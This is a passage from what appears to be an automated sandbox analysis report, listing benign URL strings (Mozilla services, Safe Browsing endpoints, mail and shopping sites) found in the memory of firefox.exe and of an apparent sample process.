Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2982766334.00000177EAC39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2982766334.00000177EAC39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/FileUtils.sys.mjsScheme
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2948268507.00000177DCAD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2948268507.00000177DCA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2984875873.00000177EAE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.combrowser.migration.versionbrowser.tabs.drawInTitlebarhttps://support.mozil
Source: firefox.exe, 0000001B.00000002.3022413447.00000177EDBA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001B.00000002.3107860476.000032667E404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2982766334.00000177EAC39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sisDefault
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2982766334.00000177EAC39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededgecko.handlerService.de
Source: firefox.exe, 0000001B.00000002.3022413447.00000177EDBA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001B.00000002.2952707355.00000177E832D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000002.2948268507.00000177DCA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2984875873.00000177EAE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000003.2801463049.00000177EC877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/google-publisher-tags.js
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/google-publisher-tags.jsWeb
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.combrowser.urlbar.suggest.topsitestestPermissionFromPrincipalnetwork.pro
Source: firefox.exe, 0000001B.00000002.2984875873.00000177EAE3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comk0M
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884111071.00000177ECFB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2884111071.00000177ECFB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2998387664.00000177ECDAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3052953874.00000177EFE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000003.2906564082.00000177ED3FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelbrowser.engagement.session_time_excluding_suspen
Source: 0db0ccc3ed.exe, 0000000D.00000003.2836831217.0000000005C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001B.00000002.2948268507.00000177DCA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001B.00000002.3026081013.00000177EE22C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2952707355.00000177E83DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001B.00000002.3070463409.00000177F4763000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationPlease
Source: 0db0ccc3ed.exe, 0000000D.00000003.2894480783.0000000005E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: firefox.exe, 0000001B.00000002.2984875873.00000177EAE3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgwdX
Source: 0db0ccc3ed.exe, 0000000D.00000003.2864354427.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2836831217.0000000005C22000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2865423483.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2837221746.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 0db0ccc3ed.exe, 0000000D.00000003.2837221746.0000000005BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 0db0ccc3ed.exe, 0000000D.00000003.2864354427.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2836831217.0000000005C22000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2865423483.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2837221746.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 0db0ccc3ed.exe, 0000000D.00000003.2837221746.0000000005BF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001B.00000002.2948268507.00000177DCAD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3072129064.00000177F4866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 0db0ccc3ed.exe, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2943309001.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/Z
Source: firefox.exe, 0000001B.00000002.3006042088.00000177ECFD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000002.3058134291.00000177F0043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
